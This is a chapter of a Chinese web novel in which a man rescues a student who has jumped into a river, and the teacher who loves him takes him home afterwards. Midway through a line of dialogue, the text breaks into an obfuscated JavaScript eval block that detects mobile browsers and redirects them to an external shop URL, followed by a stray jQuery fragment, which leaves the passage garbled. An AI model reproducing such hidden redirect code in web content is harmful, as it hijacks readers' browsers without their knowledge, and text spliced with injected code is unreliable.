风起集团内部设有健康部门,有医护人员为其他员工提供基本的医疗服务、紧急救护、健康咨询等工作,保障人员在岗期间的健康安全。
结束和林幼清的通话后,纪承风叫上两名医护人员,驱车赶往安北河堤。
抵达地方时,正好撞见梁文晋跳桥那一幕。他心下一沉,不假思索地褪去西服外套,一头扎进冰冷的河水里。
很多年前林幼清就学会游泳,她刚脱掉外套准备跳河救人,便听到噗通一声,有人跳进河里。
探头一看,竟是纪承风。
她心乱如麻,来不及思考对方为什么会出现,只希望他能安全成功地把梁文晋救上来。
十二月的河水冻得刺骨,梁文晋出于本能挣扎了几下便不再动弹,放任自己下沉。
眼见对方没有求生欲,纪承风眉头紧蹙,加速往他那边游去。
万幸的是这条河并不算太宽阔,水流也不急。纪承风水性好,再加上肾上腺素的作用,他犹如一条身姿矫健的美人鱼,很快就游到梁文晋下沉的位置。
猛吸一口气后,他潜入河底。
林幼清站在桥上,完全看不到两人的身影,她咬紧苍白的下唇,死死盯着河面。
身旁陈伶还在大声哭喊。
林幼清只觉得心底有一团火在烧,烧得她眼睛疼得快睁不开。她扭过头,目光冷如冰刀,“哭什么,现在知道哭了,早干什么去了?”
“把手无寸铁的孩子带到这个世界上,给他提供衣食住行,让他接受教育,这明明是为人父母最基本的责任。可你却把自己应该承担的义务当作对孩子的恩典,以此当筹码来逼迫他服从自己。”
“如果你生孩子是为了让他给你养老送终,那就不要觉得自己对孩子有恩,一切都是利益交换而已。”
因为父母开明家庭和睦,林幼清从小没有遭受过来自原生家庭的伤害。小时候她天真浪漫,直至遇到桃子,才意识到不是所有父母都像林宝俊和陆菲菲那样,珍爱尊重孩子。
有些人,仅仅是把孩子当作养老送终的工具人罢了。他们无视孩子的精神需求和个性发展,只想要一个听话服从自己的下级。
她只觉得可笑。
明明是你养我小、我养你老的双向奔赴,偏偏这些蠢人总想站在道德制高点,用养育之恩来激发孩子的愧疚心理,从而拿捏孩子。
最后逼得孩子心生怨怼自寻它路,再哭诉孩子是冷漠无情的白眼狼。
可笑,可笑至极。
林幼清的话犹如最锋利的刀刃,狠狠击破陈伶的心防,她嘴唇颤动,想反驳却无从说起,只能掩面痛哭。
她不知道事情怎么会变成这样,以前的孩子谁不是被打骂过来的,怎么偏偏到文晋就跳河了。
河堤旁有路人在围观,其中一些大爷大妈指着河面议论纷纷,叹气声此起彼伏。
“哎哟这么冷的天,也不知道能不能救上来。”
“现在的孩子太脆弱了,这一跳让他父母怎么活。”
有几个救援人员划着小船来到梁文晋坠落的地点,可河面很平静,一点水花都没有。
指尖陷入掌心软肉,林幼清攥紧拳头,脸色苍白如纸,疯狂地祈祷上天保佑他们平安无事。
忽地,哗啦一声,有人从河中冒了出来,胳膊处还夹着一个人。
“快,快把人拉上来!”
见纪承风冒头,那几名救援人员松口气,即刻合力将他和梁文晋拉上小船。
看到眼前的一幕,林幼清紧绷地神经终于松了不少。她一路跑到岸边,看到梁文晋脸色惨白一动不动地被抬上岸,脚底发软虚浮。
周围的哭喊声、议论声,把她引回当年的灵堂。
脑子里一下是梁文晋湿漉漉躺着不动的样子,一下是桃子了无生息清灰色的脸庞,场景交替变幻,令人阵阵发晕头痛欲裂。
她全身无力,踉跄着来到旁边的长椅上坐下。
随行的医护人员早已候着,待救援人员把梁文晋和纪承风送上岸后,立即冲过来观察他们的身体状况。
“别管我,你们一定要把那孩子救回来。”
纪承风拒绝了其中一个医护人员的服务,他没什么大碍,倒是梁文晋情况紧急更需要人手。
他接过其他救援人员递过来的毛巾和大衣,穿上大衣后,用毛巾擦拭湿透的脸庞和发丝。
视线扫过人群,精准定位到林幼清身上,见她穿着单衣坐在椅子上发愣,纪承风皱起眉,从车里拿出一条羊毛毯轻轻披在她身上。
他屈膝半蹲在林幼清面前,用纸巾轻拭她脸上的泪痕,语气是一贯的稳重,“他不会有事的,相信我。”
此刻,林幼清才意识到自己早已泪流满脸,喃喃道:“真的没事吗?”
他攥紧手中的湿纸巾,“我向你保证。”
林幼清抬眼看他,男人漆黑的眼眸深沉坚定,柔和的嗓音里带着令人信服的力量。
阳光明媚,温柔地挥洒在她身上,柔软保暖的羊毛毯将寒气隔断,身体的温度一点点回升。
林幼清重新打起精神来,结果未定,她不能把时间浪费在无用的负面情绪里。她霍然起身,拨开人群走到梁文晋身边。
周老师和陈伶几人早已经在旁边守着。见林幼清过来,身后还跟着纪承风,周老师神情复杂。
没想到林幼清能请动纪承风帮忙,对方甚至还冒险跳水救人,看来传闻不假,这位身份显赫的男人的确对她有意思。
医生还在给陷入昏迷的梁文晋做心脏复苏,另一名医护人员从车内拿出AED,给他贴上电极片,继续抢救措施。
大约过了两三分钟,梁文晋终于恢复呼吸,在场所有人悬着的心终于回落。
救护车早在一旁侯着,医护人员立即将他抬上车,准备前往医院做其他检查。
救护车最多只能让两位家属跟随,陈伶肯定是要上车,而周老师作为班主任,班里学生出了问题自然要第一时间跟进情况。
至于早已吓得不知所措的张栋则被打发回学校。
周老师边上救护车边对林幼清说:“林老师,我先过去了,有事随时联系。”
林幼清慎重地点头。
她转身刚要开口请纪承风开车送自己去医院,瞥见湿漉漉的衬衫贴在他身上,这才反应过来,他身上的湿衣服还没来得及更换。
见林幼清看向自己,纪承风示意她上车:“我送你去医院。”
他清楚,在准确得知梁文晋平安的消息之前,她根本无法安心。
林幼清开口:“你先去换衣服吧,我自己打车过去就好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13802176|142406||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
她是很担心梁文晋没错,但也不能让他穿着湿衣服陪自己奔波。
“没事,临时也找不到地方换洗,我先把你送到医院再回去。”
纪承风打开副驾驶的车门,对她说:“走吧。”
林幼清暗暗叹气,说:“去我家冲个热水澡吧,换身衣服再去医院。”
安北河堤离她家不算远,车程十几分钟。
纪承风再这样下去肯定是要生病,他帮了自己如此大的忙,她不能坐视不理。
何况周老师已经陪同梁文晋到医院,就算她赶过去也不过是在那里干等,倒不如先处理好纪承风这边的事情。
闻言,纪承风挑了挑眉,他本打算先送林幼清再找个酒店收拾清理自己,没想到她会主动邀请他去家里洗漱。
一股暖流涌上心田,她还是关心自己的。
纪承风唇角微微勾起,磁性的嗓音里藏着不易察觉的愉悦。
“那就打扰了。”
*
金枫雅苑。
林幼清打开家门后,在玄关鞋柜里拿出一双灰色男士拖鞋,“这是我爸爸的拖鞋,你将就一下。”
纪承风穿上拖鞋尺码正好合适,“穿着挺舒服,我回去也买一双。”
“那你应该是买不到,这是我妈在某个小商店里扒拉出来的。”
他这样的身份,哪会儿会用这种十几块钱的便宜货。
林幼清站在玄关换了一双卡通拖鞋,元气少女感十足,纪承风的眼光无意间落在那双漂亮的脚上,微微一顿。
那双脚秀而翘,白皙玲珑,脚趾圆润如珍珠,极易让人萌生出握在掌中把玩的心理。这样细嫩的肌肤,揉捏起来手感肯定极好。
几秒后,他猛地意识到自己的失礼连忙移开眼光,耳尖和后背微微发烫。
换完拖鞋后,林幼清抬起头,见纪承风脸色泛红神情不对劲,还以为他发烧了,赶紧走到饮水机前给他倒一杯热水。
“先喝点热水暖暖胃。”
“......谢谢。”
纪承风将目光投在那杯水中,仰头咕嘟咕嘟地全喝干净。
她小跑进主卧,从林宝俊的衣橱里拿出一件衬衫和长裤,“不介意的话,可以暂时穿我爸的衣服,这是新买的,他没穿过两次。”
她指明浴室的位置,说:“你先去洗个澡,把脏衣服换下来,免得待会生病。”
“好。”
纪承风接过衣服,身影颇有些落荒而逃。林幼清一头雾水,只当他受了风寒头脑开始发晕。
见他进门后眼神规规矩矩没有到处乱瞟,林幼清对他的好感又增添几分。
趁着男人清洗,她进厨房切几块生姜,加入红糖煮了一小锅姜汤。
浴室的面积不算小,有浴缸有淋浴,洗手台上边的柜子整整齐齐放满各种瓶瓶罐罐。
纪承风站在淋浴头下,眉头紧锁,闭着眼任由温水打在头上,手指隐隐泛着痒意他忍不住来回用力搓捻,心中焦躁如浪涛翻涌。
他怎么可以,对自己曾经的老师、胜似亲姐的林幼清产生那样龌龊的念头。
哪怕只是一瞬间,都是对她的亵渎。
纪承风沉下心,拼命驱散脑海中的画面,一定是天冷受冻着凉了,他头脑发晕才会逾越界限。